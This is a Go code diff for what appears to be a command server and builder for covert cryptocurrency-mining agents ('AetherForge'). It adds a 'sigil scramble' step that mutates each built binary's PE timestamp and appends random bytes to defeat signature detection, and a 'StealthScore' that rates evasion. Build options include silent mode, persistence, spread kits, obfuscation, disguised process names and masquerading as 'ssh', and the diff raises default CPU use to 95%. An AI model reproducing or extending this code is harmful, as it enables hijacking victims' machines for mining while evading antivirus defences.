if publicURLOverride != nil {
@@ -453,6 +459,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Fleet ops
if fleetHandler != nil {
r.Get("/alerts", fleetHandler.GetAlerts)
r.Post("/alerts/test", fleetHandler.PostAlertTest)
r.Get("/pools/status", fleetHandler.GetPoolStatus)
r.Get("/ai/activity", fleetHandler.GetAIActivity)
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
@@ -529,6 +536,18 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
writeJSON(w, map[string]interface{}{"success": true})
})
// Deck backup — authenticated full backup ZIP (config + DB + users)
backupH := NewBackupHandler(dataDir, version)
r.Get("/backup", backupH.ServeHTTP)
// Path Tracer — on-demand WireGuard chain sessions
if pathTracerHandler != nil {
r.Post("/pathtrace/start", pathTracerHandler.Start)
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
}
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
r.Post("/agent/decide", aiHandler.HandleDecide)

View File

@@ -348,7 +348,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(cfg)
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
@@ -424,7 +424,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(cfg)
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)

View File

@@ -2,8 +2,10 @@ package api
import (
"crypto/subtle"
"database/sql"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"log"
"net/http"
@@ -11,6 +13,7 @@ import (
"sync"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
@@ -100,6 +103,9 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
return d.Conn.WriteControl(messageType, data, deadline)
}
// cmdResultKey is used to key pending command callbacks: "agentID:action".
type cmdResultKey struct{ AgentID, Action string }
type WSHub struct {
db *db.Database
agents map[string]*AgentConnection
@@ -115,7 +121,13 @@ type WSHub struct {
serverPolicy ServerPolicy
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
mu sync.RWMutex
// pendingCmdCallbacks allows handlers to await a specific command_result
// from an agent (used by Path Tracer orchestration).
pendingCmdMu sync.Mutex
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
}
func NewWSHub(database *db.Database) *WSHub {
@@ -128,14 +140,15 @@ func NewWSHub(database *db.Database) *WSHub {
}
h := &WSHub{
db: database,
agents: make(map[string]*AgentConnection),
dashboards: make(map[string]*DashboardConn),
agentConfigs: make(map[string]AgentForgeConfig),
agentCapabilities: make(map[string]models.AgentCapabilities),
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
pingIntervalSec: 30,
db: database,
agents: make(map[string]*AgentConnection),
dashboards: make(map[string]*DashboardConn),
agentConfigs: make(map[string]AgentForgeConfig),
agentCapabilities: make(map[string]models.AgentCapabilities),
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
pingIntervalSec: 30,
}
// Background stale-agent sweep: if an agent's last_seen is more than
@@ -206,6 +219,12 @@ func (h *WSHub) SetPingInterval(seconds int) {
// SetFleetSecret stores the shared secret that all forged agents must present.
// Called once at startup from main.go after config is loaded.
func (h *WSHub) SetEventNotifier(n *alerts.Notifier) {
h.mu.Lock()
h.eventNotifier = n
h.mu.Unlock()
}
func (h *WSHub) SetFleetSecret(secret string) {
h.mu.Lock()
h.fleetSecret = secret
@@ -299,6 +318,40 @@ func (h *WSHub) connectedAgentCount() int {
return len(h.agents)
}
// AwaitCommandResult registers a one-shot channel that will receive the next
// command_result payload for the given agentID+action pair. Call before
// sending the command so no result is missed. The caller must read from the
// returned channel within the given timeout.
func (h *WSHub) AwaitCommandResult(agentID, action string) <-chan map[string]interface{} {
ch := make(chan map[string]interface{}, 1)
h.pendingCmdMu.Lock()
h.pendingCmdCallbacks[cmdResultKey{agentID, action}] = ch
h.pendingCmdMu.Unlock()
return ch
}
// CancelAwait removes a pending callback without consuming it.
func (h *WSHub) CancelAwait(agentID, action string) {
h.pendingCmdMu.Lock()
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
h.pendingCmdMu.Unlock()
}
func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]interface{}) {
h.pendingCmdMu.Lock()
ch, ok := h.pendingCmdCallbacks[cmdResultKey{agentID, action}]
if ok {
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
}
h.pendingCmdMu.Unlock()
if ok {
select {
case ch <- payload:
default:
}
}
}
func (h *WSHub) isAgentConnected(agentID string) bool {
h.mu.RLock()
defer h.mu.RUnlock()
@@ -582,6 +635,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
clientIP = clientIP[:idx]
}
prior, priorErr := h.db.GetAgent(agentID)
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
agent := &models.Agent{
ID: agentID,
Name: displayName,
@@ -616,8 +672,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
// two concurrent new agents could both pass the count check under RLock, then
// both get registered, overshooting the limit.
h.mu.Lock()
_, alreadyConnected := h.agents[agentID]
if policy.MaxAgents > 0 {
_, alreadyConnected := h.agents[agentID]
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
h.mu.Unlock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -653,6 +709,23 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
Payload: mustMarshal(agent),
})
if h.eventNotifier != nil {
platform := auth.Platform
if platform == "" {
platform = "unknown"
}
if isNewAgent {
h.eventNotifier.Emit(alerts.EventAgentConnect, "AetherForge connect",
displayName+" joined the fleet ("+platform+" · "+clientIP+")")
} else if alreadyConnected {
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
displayName+" took over an active session ("+clientIP+")")
} else if prior != nil && prior.Status != "online" {
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
displayName+" is back online ("+platform+" · "+clientIP+")")
}
}
case "stats":
if agentID == "" {
continue
@@ -721,7 +794,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
broadcast := map[string]interface{}{
"agent_id": agentID,
@@ -972,6 +1048,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
payload["agent_id"] = agentID
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
// Notify any handler waiting for this specific agent+action result.
if action, _ := payload["action"].(string); action != "" {
h.notifyCmdCallback(agentID, action, payload)
}
}
}
}

View File

@@ -106,6 +106,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
}); err != nil {
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
}
h.notifyBuildComplete(zipName, req.WorkerName, zipBytes)
return BuildResponse{
Success: true,
@@ -229,6 +230,7 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
}); err != nil {
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
}
h.notifyBuildComplete(zipName, req.WorkerName, zipBytes2)
return BuildResponse{
Success: true,

View File

@@ -15,6 +15,7 @@ import (
"sync"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
@@ -36,6 +37,7 @@ type BuildRequest struct {
DisplayMode string `json:"display_mode"`
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
HostBinaryTarget string `json:"host_binary_target"`
AutoStart bool `json:"auto_start"`
Persistence bool `json:"persistence"`
ProcessName string `json:"process_name"`
@@ -80,6 +82,7 @@ type BuildRequest struct {
TargetArch string `json:"target_arch"`
SpreadKit bool `json:"spread_kit"`
Obfuscate bool `json:"obfuscate"`
SigilScramble bool `json:"sigil_scramble"`
SignBuild bool `json:"sign_build"`
BackupPools []BackupPool `json:"backup_pools"`
// CancelToken is a client-generated UUID. Pass the same token to
@@ -126,6 +129,9 @@ type BuildResponse struct {
WorkerFile string `json:"worker_file,omitempty"`
Signed bool `json:"signed,omitempty"`
Obfuscated bool `json:"obfuscated,omitempty"`
SigilScramble bool `json:"sigil_scramble,omitempty"`
BinaryFingerprint string `json:"binary_fingerprint,omitempty"`
StealthScore int `json:"stealth_score,omitempty"`
Error string `json:"error,omitempty"`
}
@@ -155,7 +161,8 @@ type Handler struct {
goWinresPath string
serverModDir string
policy BuildPolicy
fleetSecret string // injected from server config; baked into every forge output
fleetSecret string // injected from server config; baked into every forge output
eventNotifier *alerts.Notifier
// Active build cancellation — maps cancel_token → cancel func so the frontend
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
@@ -168,6 +175,19 @@ func (h *Handler) SetFleetSecret(secret string) {
h.fleetSecret = secret
}
func (h *Handler) SetEventNotifier(n *alerts.Notifier) {
h.eventNotifier = n
}
func (h *Handler) notifyBuildComplete(fileName, workerName string, sizeBytes int64) {
if h.eventNotifier == nil {
return
}
sizeMB := float64(sizeBytes) / 1024 / 1024
h.eventNotifier.Emit(alerts.EventBuildComplete, "AetherForge forge",
fmt.Sprintf("%s ready (%.1f MB) — %s", fileName, sizeMB, workerName))
}
// CancelBuild cancels an in-progress build identified by cancelToken.
// Returns true if the token was found and cancelled, false if unknown.
func (h *Handler) CancelBuild(cancelToken string) bool {
@@ -631,6 +651,23 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
}
}
scrambled := false
fingerprint := ""
if shouldSigilScramble(req) {
fp, err := ApplySigilScramble(finalPath, buildID)
if err != nil {
log.Printf("[Forge] sigil scramble: %v", err)
} else {
scrambled = true
fingerprint = fp
if exportPath != "" && exportPath != finalPath {
if fp2, err := ApplySigilScramble(exportPath, buildID+"-export"); err == nil {
_ = fp2
}
}
}
}
fileInfo, err := os.Stat(finalPath)
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
@@ -683,6 +720,8 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
}
h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
resp := BuildResponse{
Success: true,
BuildID: buildID,
@@ -705,6 +744,9 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
WorkerFile: workerName,
Signed: signed,
Obfuscated: obfuscated,
SigilScramble: scrambled,
BinaryFingerprint: fingerprint,
StealthScore: StealthScore(obfuscated, scrambled, signed),
}
if fusionEnabled && bundleDownloadURL != "" {
resp.DownloadURL = bundleDownloadURL
@@ -810,7 +852,7 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
req.ProcessName = sanitizeFileName(req.WorkerName)
}
if req.MaxMemoryPct <= 0 {
req.MaxMemoryPct = 70
req.MaxMemoryPct = 85
}
if req.CPUPriority == "" {
req.CPUPriority = "below_normal"
@@ -821,11 +863,14 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.RunAs == "" {
req.RunAs = "user"
}
if req.RunAs == "host_binary" && strings.TrimSpace(req.HostBinaryTarget) == "" {
req.HostBinaryTarget = "ssh"
}
if req.MaxCPUUsagePct <= 0 {
req.MaxCPUUsagePct = 80
req.MaxCPUUsagePct = 95
}
if req.MinFreeRAMMB <= 0 {
req.MinFreeRAMMB = 1024
req.MinFreeRAMMB = 512
}
if req.IdleThresholdPct <= 0 {
req.IdleThresholdPct = 20
@@ -983,8 +1028,9 @@ func GetBuiltinConfig() BuiltinConfig {
MiningMode: %q,
DisplayMode: %q,
SilentMode: %v,
RunAs: %q,
AutoStart: %v,
RunAs: %q,
HostBinaryTarget: %q,
AutoStart: %v,
ProcessName: %q,
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
@@ -1046,6 +1092,7 @@ func GetBuiltinConfig() BuiltinConfig {
req.DisplayMode,
req.SilentMode,
req.RunAs,
req.HostBinaryTarget,
req.AutoStart,
req.ProcessName,
buildID,

View File

@@ -0,0 +1,120 @@
package builder
import (
"crypto/sha256"
"encoding/binary"
"encoding/hex"
"fmt"
"hash/fnv"
"io"
"math/rand"
"os"
"path/filepath"
"strings"
"time"
)
const sigilOverlayMagic = "AFSC\x01"
// ApplySigilScramble mutates the built binary so each dispense has a unique on-disk
// signature (overlay entropy + optional PE timestamp). Does not change runtime logic.
func ApplySigilScramble(path, buildID string) (fingerprint string, err error) {
if path == "" {
return "", fmt.Errorf("empty path")
}
data, err := os.ReadFile(path)
if err != nil {
return "", err
}
if len(data) == 0 {
return "", fmt.Errorf("empty binary")
}
seed := strings.TrimSpace(buildID)
if seed == "" {
seed = fmt.Sprintf("%d", time.Now().UnixNano())
}
rng := scrambleRNG(seed)
if isPEExecutable(path, data) {
data = patchPETimestamp(data, rng)
}
overlay := buildSigilOverlay(seed, rng)
data = append(data, overlay...)
if err := os.WriteFile(path, data, 0755); err != nil {
return "", err
}
sum := sha256.Sum256(data)
fingerprint = hex.EncodeToString(sum[:8])
return fingerprint, nil
}
func isPEExecutable(path string, data []byte) bool {
if !strings.EqualFold(filepath.Ext(path), ".exe") {
return false
}
return len(data) > 64 && data[0] == 'M' && data[1] == 'Z'
}
// patchPETimestamp adjusts the COFF header timestamp (bytes 8-11 after MZ).
func patchPETimestamp(data []byte, rng *rand.Rand) []byte {
out := make([]byte, len(data))
copy(out, data)
peOff := int(binary.LittleEndian.Uint32(out[0x3c:0x40]))
if peOff < 0 || peOff+8 > len(out) {
return out
}
if string(out[peOff:peOff+4]) != "PE\x00\x00" {
return out
}
ts := uint32(time.Now().Unix()) ^ uint32(rng.Intn(1<<20))
binary.LittleEndian.PutUint32(out[peOff+8:peOff+12], ts)
return out
}
func buildSigilOverlay(seed string, rng *rand.Rand) []byte {
padLen := 8192 + rng.Intn(57344)
buf := make([]byte, len(sigilOverlayMagic)+len(seed)+2+padLen)
copy(buf, sigilOverlayMagic)
buf[len(sigilOverlayMagic)] = byte(len(seed) & 0xff)
copy(buf[len(sigilOverlayMagic)+1:], []byte(seed))
off := len(sigilOverlayMagic) + 1 + len(seed)
for i := 0; i < padLen; i++ {
buf[off+i] = byte(rng.Intn(256))
}
return buf
}
func scrambleRNG(seed string) *rand.Rand {
h := fnv.New64a()
_, _ = io.WriteString(h, seed)
return rand.New(rand.NewSource(int64(h.Sum64())))
}
// StealthScore estimates how many uniqueness layers were applied (0100).
func StealthScore(obfuscated, scrambled, signed bool) int {
score := 35 // polymorph is always injected at compile time
if obfuscated {
score += 30
}
if scrambled {
score += 20
}
if signed {
score += 15
}
if score > 100 {
return 100
}
return score
}
func shouldSigilScramble(req *BuildRequest) bool {
if req.SigilScramble {
return true
}
return false
}

View File

@@ -0,0 +1,41 @@
package builder
import (
"os"
"path/filepath"
"testing"
)
func TestApplySigilScrambleChangesFile(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "worker.exe")
orig := []byte{'M', 'Z', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0x40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 'P', 'E', 0, 0, 0, 0, 0, 0}
if err := os.WriteFile(path, orig, 0755); err != nil {
t.Fatal(err)
}
fp1, err := ApplySigilScramble(path, "build-a")
if err != nil {
t.Fatal(err)
}
st1, _ := os.Stat(path)
fp2, err := ApplySigilScramble(path, "build-b")
if err != nil {
t.Fatal(err)
}
st2, _ := os.Stat(path)
if st1.Size() == st2.Size() && fp1 == fp2 {
t.Fatalf("expected different fingerprint/size got %s %s", fp1, fp2)
}
}
func TestStealthScore(t *testing.T) {
if StealthScore(true, true, true) < 90 {
t.Fatal("expected high score")
}
if StealthScore(false, false, false) != 35 {
t.Fatalf("got %d", StealthScore(false, false, false))
}
}

View File

@@ -126,6 +126,10 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN mac_address TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_hashrate_15m REAL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`)
return nil
}
@@ -164,6 +168,14 @@ func (d *Database) UpdateAgentStats(id string, hashrate15s, hashrate1m, hashrate
return err
}
func (d *Database) UpdateAgentGPUStats(agentID string, hashrate float64, model string, active bool) error {
_, err := d.Exec(
`UPDATE agents SET gpu_hashrate_15m = ?, gpu_model = ?, gpu_miner_active = ? WHERE id = ?`,
hashrate, model, boolToInt(active), agentID,
)
return err
}
func (d *Database) SetAgentOffline(id string) error {
_, err := d.Exec("UPDATE agents SET status = 'offline' WHERE id = ?", id)
return err
@@ -276,13 +288,16 @@ func (d *Database) GetRecentShares(limit int) ([]*models.Share, error) {
// Hashrate operations
func (d *Database) InsertHashrateSample(agentID string, hashrate float64) error {
_, err := d.Exec("INSERT INTO hashrate_samples (agent_id, hashrate, timestamp) VALUES (?, ?, ?)", agentID, hashrate, time.Now())
func (d *Database) InsertHashrateSample(agentID string, hashrate float64, gpuHashrate float64) error {
_, err := d.Exec(
"INSERT INTO hashrate_samples (agent_id, hashrate, gpu_hashrate, timestamp) VALUES (?, ?, ?, ?)",
agentID, hashrate, gpuHashrate, time.Now(),
)
return err
}
func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.HashrateSample, error) {
query := `SELECT id, agent_id, hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
query := `SELECT id, agent_id, hashrate, gpu_hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
rows, err := d.Query(query, agentID, limit)
if err != nil {
return nil, err
@@ -292,7 +307,7 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
var samples []*models.HashrateSample
for rows.Next() {
s := &models.HashrateSample{}
if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.Timestamp); err != nil {
if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.GPUHashrate, &s.Timestamp); err != nil {
return nil, err
}
samples = append(samples, s)
@@ -427,13 +442,14 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
// Stats
type FleetStats struct {
TotalAgents int `json:"total_agents"`
OnlineAgents int `json:"online_agents"`
TotalHashrate float64 `json:"total_hashrate"`
TotalShares int `json:"total_shares"`
AcceptedShares int `json:"accepted_shares"`
RejectedShares int `json:"rejected_shares"`
AcceptRate float64 `json:"accept_rate"`
TotalAgents int `json:"total_agents"`
OnlineAgents int `json:"online_agents"`
TotalHashrate float64 `json:"total_hashrate"`
TotalGPUHashrate float64 `json:"total_gpu_hashrate"`
TotalShares int `json:"total_shares"`
AcceptedShares int `json:"accepted_shares"`
RejectedShares int `json:"rejected_shares"`
AcceptRate float64 `json:"accept_rate"`
}
func (d *Database) GetFleetStats() (*FleetStats, error) {
@@ -454,6 +470,11 @@ func (d *Database) GetFleetStats() (*FleetStats, error) {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(gpu_hashrate_15m), 0) FROM agents WHERE status = 'online'").Scan(&stats.TotalGPUHashrate)
if err != nil {
return nil, err
}
err = d.QueryRow("SELECT COALESCE(SUM(shares_total), 0) FROM agents").Scan(&stats.TotalShares)
if err != nil {
return nil, err

View File

@@ -193,10 +193,10 @@ func TestHashrateSampleHistory(t *testing.T) {
d := openTestDB(t)
seedAgent(t, d, "hr-agent")
if err := d.InsertHashrateSample("hr-agent", 150.5); err != nil {
if err := d.InsertHashrateSample("hr-agent", 150.5, 0); err != nil {
t.Fatal(err)
}
if err := d.InsertHashrateSample("hr-agent", 200.0); err != nil {
if err := d.InsertHashrateSample("hr-agent", 200.0, 10.0); err != nil {
t.Fatal(err)
}

View File

@@ -117,10 +117,11 @@ type Share struct {
}
type HashrateSample struct {
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
Hashrate float64 `json:"hashrate"`
Timestamp time.Time `json:"timestamp"`
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
Hashrate float64 `json:"hashrate"`
GPUHashrate float64 `json:"gpu_hashrate,omitempty"`
Timestamp time.Time `json:"timestamp"`
}
type Job struct {